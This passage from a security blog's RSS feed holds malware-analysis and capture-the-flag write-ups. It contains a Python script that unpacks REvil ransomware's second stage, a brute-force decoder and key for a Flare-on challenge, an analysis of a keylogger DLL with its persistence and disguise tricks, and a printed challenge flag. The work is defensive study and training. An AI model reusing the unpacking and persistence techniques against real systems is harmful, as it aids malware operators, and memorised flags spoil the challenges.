&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;section&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pe&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sections&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;bytes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;section_name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;section&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;section_data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;section&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;get_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;cipher&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ARC4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;dump&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cipher&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decrypt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;section_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;   
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dump&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[:&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;stage2.bin&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;wb&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;bytearray&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dump&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;After this data is decrypted, it is loaded into memory using Windows Native API calls. First, it allocates a memory space using NtAllocateVirtualMemory and then writes the decrypted data to the newly allocated memory location.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-17-reversing-revil-part-1-stage-1-unpacker-images/Screen-Shot-2021-02-10-at-19.38.45.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
It then dynamically resolves some Imports and executes the second stage code by calling into ecx, which points to the new memory region.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-17-reversing-revil-part-1-stage-1-unpacker-images/Screen-Shot-2021-02-10-at-19.40.21.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
&lt;h2 id=&#34;close-out&#34;&gt;Close out&lt;/h2&gt;
&lt;p&gt;Now the second stage is unpacked and running! In the next post in this series, we will cover how to extract the configuration and parse the configuration data.&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Revil-Malware-Analysis-and-Reverse-Engineering-1.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>malware</category>
            
          
            
              <category>python</category>
            
          
            
              <category>reverse engineering</category>
            
          
            
              <category>revil</category>
            
          
            
              <category>security</category>
            
          
        
        
          
            
              <category>Malware</category>
            
          
            
              <category>Reverse Engineering</category>
            
          
            
              <category>Security</category>
            
          
        
        
      </item>
      
      <item>
        <title>Flare-on 2 - Challenge 2</title>
        <link>https://ben.the-collective.net/posts/2021-02-16-flare-on-2-challenge-2/</link>
        <pubDate>Tue, 16 Feb 2021 09:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 16 Feb 2021 09:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2021-02-16-flare-on-2-challenge-2/</guid>
        <description>This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
The second challenge from this season built on the first challenge. It was another password entry challenge but with a more complicated password encoding scheme.
First things first I validated what kind of file I was looking at.
λ file very_succes very_succes: PE32 executable (console) Intel 80386, for MS Windows When running the file I entered some test data to see how it looked to a user.</description>
        <content:encoded>&lt;p&gt;This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found &lt;a href=&#34;https://ben.the-collective.net/project-flareon/&#34;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The second challenge from this season built on the first challenge. It was another password entry challenge but with a more complicated password encoding scheme.&lt;/p&gt;
&lt;p&gt;First things first I validated what kind of file I was looking at.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;λ file very_succes
very_succes: PE32 executable (console) Intel 80386, for MS Windows
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When running the file I entered some test data to see how it looked to a user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-16-flare-on-2-challenge-2-images/Screen-Shot-2021-01-23-at-13.23.59.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
I switched back to Ghidra to do some static analysis on this binary and found the area of code that looked to handle the password comparison. The first check that jumped out to me was the length check that checked to see if the password was 37 characters long.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-16-flare-on-2-challenge-2-images/Screen-Shot-2021-02-02-at-19.33.18.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Then I found the encoding and matching bulk of the code which I have commented below. This block of code uses a combination of XOR and Bit-wise shifting of the characters to encode each character of the input to match it against the encoded password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-16-flare-on-2-challenge-2-images/Screen-Shot-2021-01-23-at-13.35.08.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
It took me a little bit to see that the SCASB instruction at 0x4010c8 is used to set the zero flag to 1 if the encoded value does not match and jump to a failure condition. Otherwise is set to 0 for success and continues the loop.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-16-flare-on-2-challenge-2-images/Screen-Shot-2021-01-21-at-20.11.47.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
I ran the binary using x64dbg to walk through and monitor execution manually setting the Zero Flag to check how the algorithm operated. I also identified the location of the encoded key stored in EDI and copied out that data in hex.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;AFAAADEB AEAAECA4 BAAFAEAA 8AC0A7B0 BC9ABAA5 A5BAAFB8 9DB8F9AE 9DABB4BC B6B3909A A8
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As with the first challenge in this season I crudely implemented the encoder in python and using brute force was able to successfully generate the key.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-16-flare-on-2-challenge-2-images/Screen-Shot-2021-01-23-at-13.23.26.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
&lt;h2 id=&#34;decoder-code&#34;&gt;Decoder code&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;encoded = [0xAF, 0xAA, 0xAD, 0xEB, 0xAE, 0xAA, 0xEC, 0xA4, 0xBA, 0xAF, 0xAE, 0xAA, 0x8A, 0xC0, 0xA7, 0xB0, 0xBC, 0x9A, 0xBA, 0xA5, 0xA5, 0xBA, 0xAF, 0xB8, 0x9D, 0xB8, 0xF9, 0xAE, 0x9D, 0xAB, 0xB4, 0xBC, 0xB6, 0xB3, 0x90, 0x9A, 0xA8]

result_key = &amp;#34;&amp;#34;
    
def xchg(s1, s2):
    temp = s1
    s1 = s2
    s2 = temp
    
    return s1, s2

def decoder(text_data):
    global result_key
   
    success_count = 0
    
    bx = 0
    dx = 0
    key_store = 0 # stack
    cl = 37
    eax = 0x1901c7

    for i in text_data:
        dx = bx
        dx = dx &amp;amp; 0x3
        ah = (eax &amp;amp; 0x0000FF00 &amp;gt; 1)
        al = (eax &amp;amp; 0x000000FF)

        dl = (dx &amp;amp; 0x00FF)
        al = (i ^ al)
        dl, cl = xchg(dl, cl)
        ah, cf = ah &amp;lt;&amp;lt; cl, ah &amp;amp; 1
        al = al + ah + cf
        ax = al + (ah*0x100)
        dl, cl = xchg(dl, cl)

        dx = 0
        dl = 0
        ax = ax &amp;amp; 0xff
        output = ax
        bx = bx + (ax &amp;amp; 0xff)

        cl = cl - 0x1
        if encoded[cl] != output:
            pass
        else:
            result_key += chr(i)
            success_count += 1
            
    return success_count

test = [65] * 37

for element in range(len(test)):            
    for i in range(0x21,0x7e):
        test[element] = i

        succ_coun = decoder(test)
        if succ_coun &amp;lt; element+1:
            pass
            result_key = &amp;#34;&amp;#34;

        else:
            print (succ_coun, element, chr(i))
            print(&amp;#34;Key:&amp;#34;, result_key)
            break
            
print (test)
print (&amp;#34;resultkey: \&amp;#34;&amp;#34; + result_key + &amp;#34;\&amp;#34;&amp;#34;)
    
&lt;/code&gt;&lt;/pre&gt;</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Flare-on-Template-2-2.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>ctf</category>
            
          
            
              <category>flare-on</category>
            
          
            
              <category>python</category>
            
          
            
              <category>reverse engineering</category>
            
          
            
              <category>wireshark</category>
            
          
        
        
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>Flare-on 2 - Challenge 1</title>
        <link>https://ben.the-collective.net/posts/2021-02-09-flare-on-2-challenge-1/</link>
        <pubDate>Tue, 09 Feb 2021 09:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 09 Feb 2021 09:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2021-02-09-flare-on-2-challenge-1/</guid>
        <description>This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
The first challenge in the 2015 season on Flare On was a pretty easy enter the password type of challenge. I started off by opening the extracted file in IDA and running it in the debugger. I stepped to the section of code that evaluates the input versus the input</description>
        <content:encoded>&lt;p&gt;This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found &lt;a href=&#34;https://ben.the-collective.net/project-flareon/&#34;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The first challenge in the 2015 season on Flare On was a pretty easy enter the password type of challenge. I started off by opening the extracted file in IDA and running it in the debugger. I stepped to the section of code that evaluates the input versus the input&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-09-flare-on-2-challenge-1-images/Screen-Shot-2021-01-19-at-19.47.26-2.png&#34; alt=&#34;Key encoding and comparison routine&#34; /&gt;&lt;br /&gt;
I extracted the encoded key from memory&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-09-flare-on-2-challenge-1-images/Screen-Shot-2021-01-19-at-19.47.16.png&#34; alt=&#34;Encoded Key data&#34; /&gt;&lt;br /&gt;
Then I re-implemented the XOR encryption in python and generated the key from the data.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-09-flare-on-2-challenge-1-images/Screen-Shot-2021-01-19-at-19.48.19.png&#34; alt=&#34;Jupyter notebook key decoder&#34; /&gt;&lt;br /&gt;
Which successfully worked!&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-09-flare-on-2-challenge-1-images/Screen-Shot-2021-01-19-at-19.48.04.png&#34; alt=&#34;Successful Key Entry&#34; /&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Flare-on-Template-2-1.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>ctf</category>
            
          
            
              <category>flare-on</category>
            
          
            
              <category>python</category>
            
          
            
              <category>reverse engineering</category>
            
          
            
              <category>wireshark</category>
            
          
        
        
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>Flare-on 1 - Challenge 5 - 5get_it</title>
        <link>https://ben.the-collective.net/posts/2021-02-02-flare-on-1-challenge-5-5get_it/</link>
        <pubDate>Tue, 02 Feb 2021 09:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 02 Feb 2021 09:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2021-02-02-flare-on-1-challenge-5-5get_it/</guid>
        <description>This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
Challenge 5 brings us a DLL file, I mainly used Ghidra to statically analyze this file.
5get_it: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows After Ghidra loaded and analyzed the file, I found this function at 0x1000a680 that does a few things, first to Reads and writes the Run key to setup persistence for this DLL file, and it also copies itself to the C:\windows\system32 directory as svchost.</description>
        <content:encoded>&lt;p&gt;This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found &lt;a href=&#34;../2021-02-02-flare-on-1-challenge-5-5get_it-images/&#34;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Challenge 5 brings us a DLL file, I mainly used Ghidra to statically analyze this file.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;5get_it: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After Ghidra loaded and analyzed the file, I found this function at 0x1000a680 that does a few things, first to Reads and writes the Run key to setup persistence for this DLL file, and it also copies itself to the &lt;em&gt;C:\windows\system32&lt;/em&gt; directory as &lt;em&gt;svchost.dll&lt;/em&gt; to look like a legitimate DLL file. Next, it executes a function that looks to act as a key logger.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-02-flare-on-1-challenge-5-5get_it-images/Screen-Shot-2021-01-16-at-18.09.48.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
This function sets up a buffer to store keystrokes into them write them out to a file named &lt;em&gt;svchost.log&lt;/em&gt;. Looking at the mw_key_press_handler function we see how it handles the key presses.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-02-flare-on-1-challenge-5-5get_it-images/Screen-Shot-2021-01-16-at-18.09.13.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
This function has various handler function for each ASCII value for most upper case letters, lower case letter, number, and some other characters. However not all have handler functions, so I took a closer look at the functions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-02-flare-on-1-challenge-5-5get_it-images/Screen-Shot-2021-01-16-at-18.10.14.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Below are three examples of functions, some of the functions would set a global variable to 1 or 0 depending on if another variable was set, and/or call another function that sets a group of global variables to 0. Not all of the functions returned the same letter that was pressed. As shown below “`” returns the number “0”.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-02-flare-on-1-challenge-5-5get_it-images/Screen-Shot-2021-01-16-at-18.11.35.png&#34; alt=&#34;Returns same character&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-02-flare-on-1-challenge-5-5get_it-images/Screen-Shot-2021-01-16-at-18.10.57.png&#34; alt=&#34;Returns different character from input&#34; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-02-flare-on-1-challenge-5-5get_it-images/Screen-Shot-2021-01-16-at-18.20.13.png&#34; alt=&#34;Calls a function to reset all global vars&#34; /&gt;&lt;br /&gt;
Taking a closer look at the global variables that are manipulated I could see a pattern of them being written or read depending on the keypress handler functions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-02-flare-on-1-challenge-5-5get_it-images/Screen-Shot-2021-01-16-at-18.12.18.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
Went through the listing of functions and created a list of the key presses and the return values and saw what looks like the key.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Memory Address&lt;/th&gt;
&lt;th&gt;Input Char&lt;/th&gt;
&lt;th&gt;Output Char&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DAT_10019460&lt;/td&gt;
&lt;td&gt;L&lt;/td&gt;
&lt;td&gt;l&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_10019464&lt;/td&gt;
&lt;td&gt;`&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_10019468&lt;/td&gt;
&lt;td&gt;G&lt;/td&gt;
&lt;td&gt;g&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_1001946c&lt;/td&gt;
&lt;td&gt;G&lt;/td&gt;
&lt;td&gt;g&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_10019470&lt;/td&gt;
&lt;td&gt;I&lt;/td&gt;
&lt;td&gt;i&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_10019474&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;n&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_10019478&lt;/td&gt;
&lt;td&gt;G&lt;/td&gt;
&lt;td&gt;g&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_1001947c&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;d&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_10019480&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;o&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_10019484&lt;/td&gt;
&lt;td&gt;T&lt;/td&gt;
&lt;td&gt;t&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_10019488&lt;/td&gt;
&lt;td&gt;U&lt;/td&gt;
&lt;td&gt;u&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_1001948c&lt;/td&gt;
&lt;td&gt;R&lt;/td&gt;
&lt;td&gt;r&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_10019490&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;d&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_10019494&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;o&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_10019498&lt;/td&gt;
&lt;td&gt;T&lt;/td&gt;
&lt;td&gt;t&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_1001949c&lt;/td&gt;
&lt;td&gt;e&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194a0&lt;/td&gt;
&lt;td&gt;T&lt;/td&gt;
&lt;td&gt;t&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194a4&lt;/td&gt;
&lt;td&gt;R&lt;/td&gt;
&lt;td&gt;r&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194a8&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194ac&lt;/td&gt;
&lt;td&gt;K&lt;/td&gt;
&lt;td&gt;k&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194b0&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;td&gt;e&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194b4&lt;/td&gt;
&lt;td&gt;`&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194b8&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;a&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194bc&lt;/td&gt;
&lt;td&gt;T&lt;/td&gt;
&lt;td&gt;t&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194c0&lt;/td&gt;
&lt;td&gt;F&lt;/td&gt;
&lt;td&gt;f&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194c4&lt;/td&gt;
&lt;td&gt;L&lt;/td&gt;
&lt;td&gt;l&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194c8&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;a&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194cc&lt;/td&gt;
&lt;td&gt;R&lt;/td&gt;
&lt;td&gt;r&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194d0&lt;/td&gt;
&lt;td&gt;E&lt;/td&gt;
&lt;td&gt;e&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194d4&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;d&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194d8&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;a&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194dc&lt;/td&gt;
&lt;td&gt;S&lt;/td&gt;
&lt;td&gt;s&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194e0&lt;/td&gt;
&lt;td&gt;H&lt;/td&gt;
&lt;td&gt;h&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194e4&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;o&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194e8&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;n&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194ec&lt;/td&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;d&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194f0&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;o&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194f4&lt;/td&gt;
&lt;td&gt;T&lt;/td&gt;
&lt;td&gt;t&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194f8&lt;/td&gt;
&lt;td&gt;C&lt;/td&gt;
&lt;td&gt;c&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DAT_100194fc&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;o&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;But this table does not include the letter “m” at the end of “com” the handler for “M” has an extra function that it calls.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-02-flare-on-1-challenge-5-5get_it-images/Screen-Shot-2021-01-16-at-19.00.37.png&#34; alt=&#34;&#34; /&gt;&lt;br /&gt;
This function that the handler calls has a large number of local variables and makes Ghidra very sad, but its main function shows a message box with the flag: &lt;a href=&#34;mailto:l0gging.ur.5trok5@flare-on.com&#34;&gt;l0gging.ur.5trok5@flare-on.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2021-02-02-flare-on-1-challenge-5-5get_it-images/Screen-Shot-2021-01-16-at-19.13.02.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/Flare-on-Template-1-5.png" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>ctf</category>
            
          
            
              <category>flare-on</category>
            
          
            
              <category>reverse engineering</category>
            
          
        
        
          
            
              <category>Reverse Engineering</category>
            
          
        
        
      </item>
      
      <item>
        <title>Flare-on 1 - Challenge 4 - Sploitastic</title>
        <link>https://ben.the-collective.net/posts/2021-01-28-flare-on-1-challenge-4-sploitastic/</link>
        <pubDate>Thu, 28 Jan 2021 09:00:00 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Thu, 28 Jan 2021 09:00:00 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2021-01-28-flare-on-1-challenge-4-sploitastic/</guid>
        <description>This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found here
We start off with a PDF file in Challenge 4, I start off by dumping the contents of the streams using pdf-parser from Didier Stevens PDF-tools
pdf-parser.py -f APT9001.orig.pdf &amp;gt; apt5.txt
Looking through the content I find a block of Javascript code that looks interesting</description>
        <content:encoded>&lt;p&gt;This is a post in a series where I complete every Flare-on challenge. The landing page for all of these posts can be found &lt;a href=&#34;https://ben.the-collective.net/project-flareon/&#34;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;We start off with a PDF file in Challenge 4, I start off by dumping the contents of the streams using pdf-parser from &lt;a href=&#34;https://blog.didierstevens.com/programs/pdf-tools/&#34;&gt;Didier Stevens PDF-tools&lt;/a&gt;&lt;/p&gt;
